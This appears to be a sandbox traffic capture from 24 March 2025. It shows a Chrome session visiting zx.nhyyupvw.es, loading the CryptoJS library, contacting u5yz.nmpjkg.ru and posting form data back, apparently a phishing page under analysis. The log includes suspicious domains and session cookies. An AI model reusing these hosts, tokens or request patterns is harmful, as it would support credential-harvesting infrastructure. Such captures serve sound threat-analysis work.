Ascii: 7bed!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){
2025-03-24 13:12:54 UTC	1369	IN	Data Raw: 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3f 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 69 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 76 61 72 20 72 3d 4f 62 6a 65 63 Data Ascii: typeof globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Objec
2025-03-24 13:12:54 UTC	1369	IN	Data Raw: 6c 6f 6e 65 2e 63 61 6c 6c 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 77 6f 72 64 73 3d 74 68 69 73 2e 77 6f 72 64 73 2e 73 6c 69 63 65 28 30 29 2c 74 7d 2c 72 61 6e 64 6f 6d 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 5b 5d 2c 72 3d 30 3b 72 3c 74 3b 72 2b 3d 34 29 65 2e 70 75 73 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 69 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 29 74 72 79 7b 72 65 74 75 72 6e 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 28 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 31 29 29 5b 30 5d 7d 63 61 74 63 68 28 74 29 7b 7d 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 72 61 6e 64 6f 6d Data Ascii: lone.call(this);return t.words=this.words.slice(0),t},random:function(t){for(var e=[],r=0;r<t;r+=4)e.push(function(){if(i){if("function"==typeof i.getRandomValues)try{return i.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof i.random
2025-03-24 13:12:54 UTC	1369	IN	Data Raw: 22 3d 3d 74 79 70 65 6f 66 20 74 26 26 28 74 3d 66 2e 70 61 72 73 65 28 74 29 29 2c 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 68 2e 63 65 69 6c 28 73 29 3a 68 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 6e 3d 68 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 61 3d Data Ascii: "==typeof t&&(t=f.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?h.ceil(s):h.max((0\|s)-this._minBufferSize,0))o,n=h.min(4*c,n);if(c){for(var a=
2025-03-24 13:12:54 UTC	1369	IN	Data Raw: 7b 66 6f 72 28 76 61 72 20 74 3d 74 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 45 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 45 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 45 5b 31 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 33 5d 3d 65 5b 33 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 32 5d 3e 3e 3e 30 3c 45 5b 32 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 34 5d 3d 65 5b 34 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 33 5d 3e 3e 3e 30 3c 45 5b Data Ascii: {for(var t=this._X,e=this._C,r=0;r<8;r++)E[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<E[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<E[1]>>>0?1:0)\|0,e[3]=e[3]+1295307597+(e[2]>>>0<E[2]>>>0?1:0)\|0,e[4]=e[4]+3545052371+(e[3]>>>0<E[
2025-03-24 13:12:54 UTC	1369	IN	Data Raw: 3f 31 3a 30 3b 66 6f 72 28 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 3b 49 5b 72 5d 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 5e 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 2a 69 7c 30 29 2b 28 28 36 35 35 33 35 26 69 29 2a 69 7c 30 29 7d 74 5b 30 5d 3d 49 5b 30 5d 2b 28 49 5b 37 5d 3c 3c 31 36 7c 49 5b 37 5d 3e 3e 3e 31 36 29 2b 28 49 5b 36 5d 3c 3c 31 36 7c 49 5b 36 5d 3e 3e 3e 31 36 29 7c 30 2c 74 5b 31 5d 3d 49 5b 31 5d 2b 28 49 5b 30 5d 3c 3c 38 7c 49 5b 30 5d 3e 3e 3e 32 34 29 2b 49 5b 37 5d 7c 30 2c 74 5b 32 5d 3d 49 5b 32 5d 2b 28 49 5b 31 5d 3c 3c 31 36 7c 49 5b 31 5d 3e 3e 3e 31 36 29 2b 28 49 5b 30 5d 3c 3c 31 Data Ascii: ?1:0;for(r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16;I[r]=((nn>>>17)+no>>>15)+oo^((4294901760&i)i\|0)+((65535&i)*i\|0)}t[0]=I[0]+(I[7]<<16\|I[7]>>>16)+(I[6]<<16\|I[6]>>>16)\|0,t[1]=I[1]+(I[0]<<8\|I[0]>>>24)+I[7]\|0,t[2]=I[2]+(I[1]<<16\|I[1]>>>16)+(I[0]<<1
2025-03-24 13:12:54 UTC	1369	IN	Data Raw: 62 75 66 66 65 72 2c 74 2e 62 79 74 65 4f 66 66 73 65 74 2c 74 2e 62 79 74 65 4c 65 6e 67 74 68 29 3a 74 29 69 6e 73 74 61 6e 63 65 6f 66 20 55 69 6e 74 38 41 72 72 61 79 29 7b 66 6f 72 28 76 61 72 20 65 3d 74 2e 62 79 74 65 4c 65 6e 67 74 68 2c 72 3d 5b 5d 2c 69 3d 30 3b 69 3c 65 3b 69 2b 2b 29 72 5b 69 3e 3e 3e 32 5d 7c 3d 74 5b 69 5d 3c 3c 32 34 2d 69 25 34 2a 38 3b 73 2e 63 61 6c 6c 28 74 68 69 73 2c 72 2c 65 29 7d 65 6c 73 65 20 73 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 29 2e 70 72 6f 74 6f 74 79 70 65 3d 50 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 55 2c 6e 3d 74 2e 6c 69 62 2e 57 6f 72 64 41 72 72 61 79 2c 74 3d 74 2e 65 6e 63 3b 74 2e 55 74 66 31 36 3d 74 2e 55 74 66 31 36 42 45 3d 7b 73 74 72 69 6e 67 Data Ascii: buffer,t.byteOffset,t.byteLength):t)instanceof Uint8Array){for(var e=t.byteLength,r=[],i=0;i<e;i++)r[i>>>2]\|=t[i]<<24-i%4*8;s.call(this,r,e)}else s.apply(this,arguments)}).prototype=P),function(){var t=U,n=t.lib.WordArray,t=t.enc;t.Utf16=t.Utf16BE={string
2025-03-24 13:12:54 UTC	1369	IN	Data Raw: 6f 3d 72 2e 63 68 61 72 41 74 28 36 34 29 3b 72 65 74 75 72 6e 21 6f 7c 7c 2d 31 21 3d 3d 28 6f 3d 74 2e 69 6e 64 65 78 4f 66 28 6f 29 29 26 26 28 65 3d 6f 29 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 66 6f 72 28 76 61 72 20 69 3d 5b 5d 2c 6e 3d 30 2c 6f 3d 30 3b 6f 3c 65 3b 6f 2b 2b 29 7b 76 61 72 20 73 2c 63 3b 6f 25 34 26 26 28 73 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 2d 31 29 5d 3c 3c 6f 25 34 2a 32 2c 63 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 29 5d 3e 3e 3e 36 2d 6f 25 34 2a 32 2c 63 3d 73 7c 63 2c 69 5b 6e 3e 3e 3e 32 5d 7c 3d 63 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 29 7d 72 65 74 75 72 6e 20 61 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b Data Ascii: o=r.charAt(64);return!o\|\|-1!==(o=t.indexOf(o))&&(e=o),function(t,e,r){for(var i=[],n=0,o=0;o<e;o++){var s,c;o%4&&(s=r[t.charCodeAt(o-1)]<<o%42,c=r[t.charCodeAt(o)]>>>6-o%42,c=s\|c,i[n>>>2]\|=c<<24-n%4*8,n++)}return a.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJK
2025-03-24 13:12:54 UTC	1369	IN	Data Raw: 2e 61 62 73 28 61 2e 73 69 6e 28 74 2b 31 29 29 7c 30 7d 28 29 3b 65 3d 65 2e 4d 44 35 3d 69 2e 65 78 74 65 6e 64 28 7b 5f 64 6f 52 65 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 68 61 73 68 3d 6e 65 77 20 72 2e 69 6e 69 74 28 5b 31 37 33 32 35 38 34 31 39 33 2c 34 30 32 33 32 33 33 34 31 37 2c 32 35 36 32 33 38 33 31 30 32 2c 32 37 31 37 33 33 38 37 38 5d 29 7d 2c 5f 64 6f 50 72 6f 63 65 73 73 42 6c 6f 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 31 36 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 65 2b 72 2c 6e 3d 74 5b 69 5d 3b 74 5b 69 5d 3d 31 36 37 31 31 39 33 35 26 28 6e 3c 3c 38 7c 6e 3e 3e 3e 32 34 29 7c 34 32 37 38 32 35 35 33 36 30 26 28 6e 3c 3c 32 34 7c 6e 3e 3e 3e 38 29 7d 76 61 72 20 Data Ascii: .abs(a.sin(t+1))\|0}();e=e.MD5=i.extend({_doReset:function(){this._hash=new r.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8\|n>>>24)\|4278255360&(n<<24\|n>>>8)}var
2025-03-24 13:12:54 UTC	1369	IN	Data Raw: 41 5b 33 39 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 42 2c 34 2c 41 5b 34 30 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 73 2c 31 31 2c 41 5b 34 31 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 68 2c 31 36 2c 41 5b 34 32 5d 29 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 64 2c 32 33 2c 41 5b 34 33 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 5f 2c 34 2c 41 5b 34 34 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 67 2c 31 31 2c 41 5b 34 35 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 6b 2c 31 36 2c 41 5b 34 36 5d 29 2c 6d 3d 44 28 6d 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 61 2c 32 33 2c 41 5b 34 37 5d 29 2c 78 2c 53 2c 73 2c 36 2c 41 5b 34 38 5d 29 2c 53 3d 44 28 53 2c 6d 2c 62 2c 78 2c 75 2c 31 30 2c 41 5b 34 39 5d 29 2c 78 3d 44 28 78 2c 53 2c 6d 2c 62 2c 77 Data Ascii: A[39]),m=C(m,b,x,S,B,4,A[40]),S=C(S,m,b,x,s,11,A[41]),x=C(x,S,m,b,h,16,A[42]),b=C(b,x,S,m,d,23,A[43]),m=C(m,b,x,S,_,4,A[44]),S=C(S,m,b,x,g,11,A[45]),x=C(x,S,m,b,k,16,A[46]),m=D(m,b=C(b,x,S,m,a,23,A[47]),x,S,s,6,A[48]),S=D(S,m,b,x,u,10,A[49]),x=D(x,S,m,b,w

Timestamp	Bytes transferred	Direction	Data
2025-03-24 13:12:54 UTC	635	OUT	GET /favicon.png HTTP/1.1 Host: developers.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://zx.nhyyupvw.es/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-24 13:12:54 UTC	740	IN	HTTP/1.1 200 OK Date: Mon, 24 Mar 2025 13:12:54 GMT Content-Type: image/png Content-Length: 937 Connection: close CF-Cache-Status: HIT Access-Control-Allow-Origin: * Cache-Control: public, max-age=0, must-revalidate ETag: "6be7ff94b6151f8cfbf08b53a17e2ac1" Set-Cookie: __cf_bm=UoLpkGKTKeyxuLbOrdh7IExim2Xl7MgKuG1h6GHjJpI-1742821974-1.0.1.1-3OARMNZU7MLSYneEExoxcsNqI6bNreTnK5ubF78c4V4sbyOvD_ZJflqUiHrfSJzAIdryPnYlbxqGd5qH1FFwAHd76bh3OK5eANTKoQL6Dcc; path=/; expires=Mon, 24-Mar-25 13:42:54 GMT; domain=.developers.cloudflare.com; HttpOnly; Secure; SameSite=None Strict-Transport-Security: max-age=15552000; preload X-Content-Type-Options: nosniff Server: cloudflare CF-RAY: 92566c3f1f1b4307-EWR alt-svc: h3=":443"; ma=86400
2025-03-24 13:12:54 UTC	629	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 09 70 48 59 73 00 00 0b 12 00 00 0b 12 01 d2 dd 7e fc 00 00 03 5b 49 44 41 54 58 c3 ed 96 4b 48 54 51 18 c7 67 e6 86 91 04 d1 26 e8 a1 d7 c9 02 21 70 59 2d d4 71 d4 96 2d 42 93 48 82 08 a3 16 51 60 48 59 99 77 4c a7 4c ed b1 0d 8a da 44 a4 e6 a3 b2 a8 a8 4d bb 68 53 8b 48 a2 77 b4 c9 8d 77 46 e7 de 79 7c fd bf 73 cf 9d 39 8e 8f 32 85 36 73 e0 c7 77 e7 dc c7 ff ff 7d df 39 f7 8e c7 93 1b b9 b1 c0 11 6d f7 7b 22 a1 22 71 cc 51 85 c7 78 f3 5a 4f a4 bd 68 e9 85 55 11 79 ec 33 0d 5d 03 5e b3 4d f7 20 fa 30 a7 01 ef 44 37 4c 1a 99 eb 97 44 dc cc 88 b3 b0 77 de eb 0d 61 24 7d 2f 75 fa 17 29 6e e8 ee b1 a6 cc 07 40 17 18 04 a3 e0 06 38 08 56 f3 79 36 a9 9a Data Ascii: PNGIHDR szzpHYs~[IDATXKHTQg&!pY-q-BHQ`HYwLLDMhSHwwFy\|s926sw}9m{""qQxZOhUy3]^M 0D7LDwa$}/u)n@8Vy6
2025-03-24 13:12:54 UTC	308	IN	Data Raw: e5 01 1a ae 24 1a 01 0f 82 94 b8 17 10 11 06 de c4 b1 28 5d f1 0e ee 39 df 2c 85 85 09 69 c6 04 d7 c0 65 d0 03 c2 20 04 ce 80 13 a0 09 1c 01 87 e4 9b b0 01 bd 5f 93 b5 e8 ca 40 13 68 01 2f 84 89 fb c2 c4 2e 16 2f 55 32 4e 64 f5 92 e4 8b e6 07 f8 2e f9 a6 f0 55 f2 05 7c 06 9f c0 7b d0 28 16 da cd ad 79 10 09 81 d7 60 0c 7c 04 e3 dc 02 7a 5c cd 06 7a d9 40 0b 6f 35 18 88 e1 2d 98 94 0b 4f f4 54 c6 54 4c 29 af 35 17 1d ce 79 b1 6d 0d 9d ab 96 0f 81 01 7a 5a e3 94 7f d8 81 b3 c7 bc c5 8b 12 f1 3a 1b b8 42 97 8a 69 0a e5 8e 77 ce 82 d2 eb 3f 21 0c f0 f6 6d 2d 78 69 f5 95 1f a6 e7 3b 9c 9e 0f 65 0c 30 c9 41 cc e1 1c 57 c7 7d bf ef 45 a6 b5 88 75 ff 0a ee e7 c8 cf 68 30 4f ad 2f c5 de df 82 55 df 00 6a 41 1d c4 ea 2c 20 a2 f3 7b 0f 28 fc ff 7f b1 f8 dd cf 5f 3d Data Ascii: $(]9,ie _@h/./U2Nd.U\|{(y`\|z\z@o5-OTTL)5ymzZ:Biw?!m-xi;e0AW}Euh0O/UjA, {(_=

Timestamp	Bytes transferred	Direction	Data
2025-03-24 13:12:55 UTC	588	OUT	GET /favicon.png HTTP/1.1 Host: developers.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=UoLpkGKTKeyxuLbOrdh7IExim2Xl7MgKuG1h6GHjJpI-1742821974-1.0.1.1-3OARMNZU7MLSYneEExoxcsNqI6bNreTnK5ubF78c4V4sbyOvD_ZJflqUiHrfSJzAIdryPnYlbxqGd5qH1FFwAHd76bh3OK5eANTKoQL6Dcc
2025-03-24 13:12:55 UTC	435	IN	HTTP/1.1 200 OK Date: Mon, 24 Mar 2025 13:12:55 GMT Content-Type: image/png Content-Length: 937 Connection: close CF-Cache-Status: HIT Access-Control-Allow-Origin: * Cache-Control: public, max-age=0, must-revalidate ETag: "6be7ff94b6151f8cfbf08b53a17e2ac1" Strict-Transport-Security: max-age=15552000; preload X-Content-Type-Options: nosniff Server: cloudflare CF-RAY: 92566c42de4143f9-EWR alt-svc: h3=":443"; ma=86400
2025-03-24 13:12:55 UTC	934	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 09 70 48 59 73 00 00 0b 12 00 00 0b 12 01 d2 dd 7e fc 00 00 03 5b 49 44 41 54 58 c3 ed 96 4b 48 54 51 18 c7 67 e6 86 91 04 d1 26 e8 a1 d7 c9 02 21 70 59 2d d4 71 d4 96 2d 42 93 48 82 08 a3 16 51 60 48 59 99 77 4c a7 4c ed b1 0d 8a da 44 a4 e6 a3 b2 a8 a8 4d bb 68 53 8b 48 a2 77 b4 c9 8d 77 46 e7 de 79 7c fd bf 73 cf 9d 39 8e 8f 32 85 36 73 e0 c7 77 e7 dc c7 ff ff 7d df 39 f7 8e c7 93 1b b9 b1 c0 11 6d f7 7b 22 a1 22 71 cc 51 85 c7 78 f3 5a 4f a4 bd 68 e9 85 55 11 79 ec 33 0d 5d 03 5e b3 4d f7 20 fa 30 a7 01 ef 44 37 4c 1a 99 eb 97 44 dc cc 88 b3 b0 77 de eb 0d 61 24 7d 2f 75 fa 17 29 6e e8 ee b1 a6 cc 07 40 17 18 04 a3 e0 06 38 08 56 f3 79 36 a9 9a Data Ascii: PNGIHDR szzpHYs~[IDATXKHTQg&!pY-q-BHQ`HYwLLDMhSHwwFy\|s926sw}9m{""qQxZOhUy3]^M 0D7LDwa$}/u)n@8Vy6
2025-03-24 13:12:55 UTC	3	IN	Data Raw: 42 60 82 Data Ascii: B`

Timestamp	Bytes transferred	Direction	Data
2025-03-24 13:13:04 UTC	558	OUT	GET /ando$y42g72 HTTP/1.1 Host: u5yz.nmpjkg.ru Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Origin: https://zx.nhyyupvw.es Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://zx.nhyyupvw.es/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-24 13:13:05 UTC	830	IN	HTTP/1.1 200 OK Date: Mon, 24 Mar 2025 13:13:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=T1o6l%2F25v8FXgiYi4DZNjdxavMWqsvS%2F8lJZYc1xDg3SYCV8etp97lJaAl%2F2VgPBexX%2BUpIMO8O4sq2qO7OxOZ3hIBx6Y96XNNAR%2BupMmeHrlpVUiq3FFdozVV%2F2BDmfuA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 92566c7b493ad123-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=99938&min_rtt=98322&rtt_var=22367&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2819&recv_bytes=1130&delivery_rate=37848&cwnd=195&unsent_bytes=0&cid=d5a909df10786204&ts=833&x=0"
2025-03-24 13:13:05 UTC	6	IN	Data Raw: 31 0d 0a 30 0d 0a Data Ascii: 10
2025-03-24 13:13:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-24 13:13:05 UTC	1433	OUT	POST /ve5HClA9r3rInXOW55CCxGwczDAZn6wPQThkYl183il HTTP/1.1 Host: zx.nhyyupvw.es Connection: keep-alive Content-Length: 774 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryQsdDtozYid7avFyL sec-ch-ua-mobile: ?0 Accept: / Origin: https://zx.nhyyupvw.es Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://zx.nhyyupvw.es/iSHROnSonGoT/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IkZaWEhacVNJNVZvcjlIbklsMVVEUUE9PSIsInZhbHVlIjoiNm0zdlRpVGZMOXZVaVI0WXZyYTdlNjJpTisvSjR1QXZPZ1czL1oyTnZTdmVWTW5JUURCWDFPeTlLTkFOcHFSc253amVEWVB2SXZjaEgrbVdkeDJrWFdoT1YwQkROR21vMjFOeC9uNHFrZU9hSkEyRmRTVlphVk42TmI4VzRwUjUiLCJtYWMiOiJmYmE3NzJhOWJiYzUyMDgzMDJmZDU0YzVhYWE5YTA1ODRlODE3MzcwNmQ4ZjRmMjA2MjkzNmRmNTk1NDFjMzQ0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkJrSFZ5YzFxSjVwRnh6RlkyZW1TVmc9PSIsInZhbHVlIjoid3dvTlZqVExrUVFsWnQzN21QUEVLa0xOU1RyUVNianU0MEpWbHlOeUIrUnFndnZmK0RUZStIQmJzVExlUDNPRmY5WkhSREZVMXlRMlJXM0JweGZpa3JTTXlJY2lHbWt3V00ya3FiNDIxMGVQWEpvTDJEbzVZL3V4SEZMbEhlUkgiLCJtYWMiOiI4OTBmZTc0Y2RkZWNmNDQ4NmI2ZTA4YWExY2ZmZDFjMWNjNjEyNzVlZmQzMjEwODA3YzE1ZmI5MjEyMDEzZDA3IiwidGFnIjoiIn0%3D
2025-03-24 13:13:05 UTC	774	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 51 73 64 44 74 6f 7a 59 69 64 37 61 76 46 79 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 6c 74 70 67 22 0d 0a 0d 0a 59 66 48 55 76 0d 0a 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 51 73 64 44 74 6f 7a 59 69 64 37 61 76 46 79 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 73 69 64 22 0d 0a 0d 0a 45 48 50 79 39 30 69 49 38 4e 39 58 30 70 42 63 49 56 6b 38 73 49 55 46 70 4c 30 5a 33 68 62 58 70 6f 64 4a 51 58 6b 51 0d 0a 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 51 73 64 44 Data Ascii: ------WebKitFormBoundaryQsdDtozYid7avFyLContent-Disposition: form-data; name="bltpg"YfHUv------WebKitFormBoundaryQsdDtozYid7avFyLContent-Disposition: form-data; name="sid"EHPy90iI8N9X0pBcIVk8sIUFpL0Z3hbXpodJQXkQ------WebKitFormBoundaryQsdD
2025-03-24 13:13:05 UTC	1183	IN	HTTP/1.1 200 OK Date: Mon, 24 Mar 2025 13:13:05 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=h2zehcXaT7BLqTcnvfFDFCr2%2FkuTg%2B7KqaZxLHbdPPRwICPZjSpsWL%2FzNWqsmTVzpJwV4zj8qOJRDJ52ZMNmAZfSpLBtFP621zqZjV34WvQlLgl%2ByNtOLb2f0VBK54bamS5z"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=9869&min_rtt=9727&rtt_var=3749&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2820&recv_bytes=3116&delivery_rate=292793&cwnd=241&unsent_bytes=0&cid=128a0b0ebe382792&ts=225&x=0" Set-Cookie: 